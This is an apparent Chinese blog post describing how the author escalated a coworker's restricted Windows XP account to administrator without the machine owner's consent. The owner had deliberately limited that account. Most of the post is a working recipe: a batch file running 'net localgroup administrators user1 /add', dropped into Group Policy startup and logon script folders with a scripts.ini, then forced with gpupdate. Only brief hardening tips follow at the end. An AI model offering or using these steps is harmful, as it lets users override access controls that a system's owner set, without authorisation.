普通用户权限提升

     昨天帮同事提升了他的电脑用户权限,过程是这样的:
     他和另一个人共用一台电脑,电脑的主人给他设置了一个普通用户,只能做一般的工作,他告诉我说能不能帮他把权限设置的和那个人一样,我说肯定没问题,但告诉他这样做不是很好,后面在他的再三要求下,考虑到我们几个的关系都还不错,同时自己也想试试怎么进入别人的电脑,就当一次练习吧!呵呵
      因电脑系统盘的文件系统是FAT32格式的,也没有光驱,安装的是windows xp professional操作系统.我首先进入计算机管理项发现administrator用户没有被禁用,考虑到一般安装系统时,大家都有个不好的习惯，把administrator设置成空密码.于是用这个用户名去登录系统,结果不成功(安全模式下我也试过).呵呵看样子碰到高手了,不过没关系可以编一个启动脚本将普通用户的权限提升为管理员.
      1、用记事本编一个内容为“net localgroup administrators user1 /add"的批处理文件，文件名为user.bat,然后保存到以下两个位置
       c:\windows\system32\grouppolicy\machine\scripts\startup\
       c:\windows\system32\grouppolicy\user\scripts\logon\
      2、再用记事本编一个启动/关机脚本配置文件scripts.ini，这个文件名是固定的，不能改变，内容如下：
       [startup]
       0cmdline=user.bat
       0parameters
       再将这个文件保存到以下两个位置
       c:\windows\system32\grouppolicy\machine\scripts\
       c:\windows\system32\grouppolicy\user\scripts\
     然后最好再打开组策略gpedit.msc进入计算机配置和用户配置启动项添加上刚刚创建的那个脚本文件，完成后用gpupdate /force刷新组策略，重启电脑，用普通用户登录系统，这时你会发现已经提升为管理员用户了。
      有几点心得：建议以后装系统使用NTFS文件系统，启用按atrl+alt+del三个键登录系统模式，最好禁用组策略，想想就说这些吧，一起学习，共同进步！
      希望大家多支持我--------

--------------------next---------------------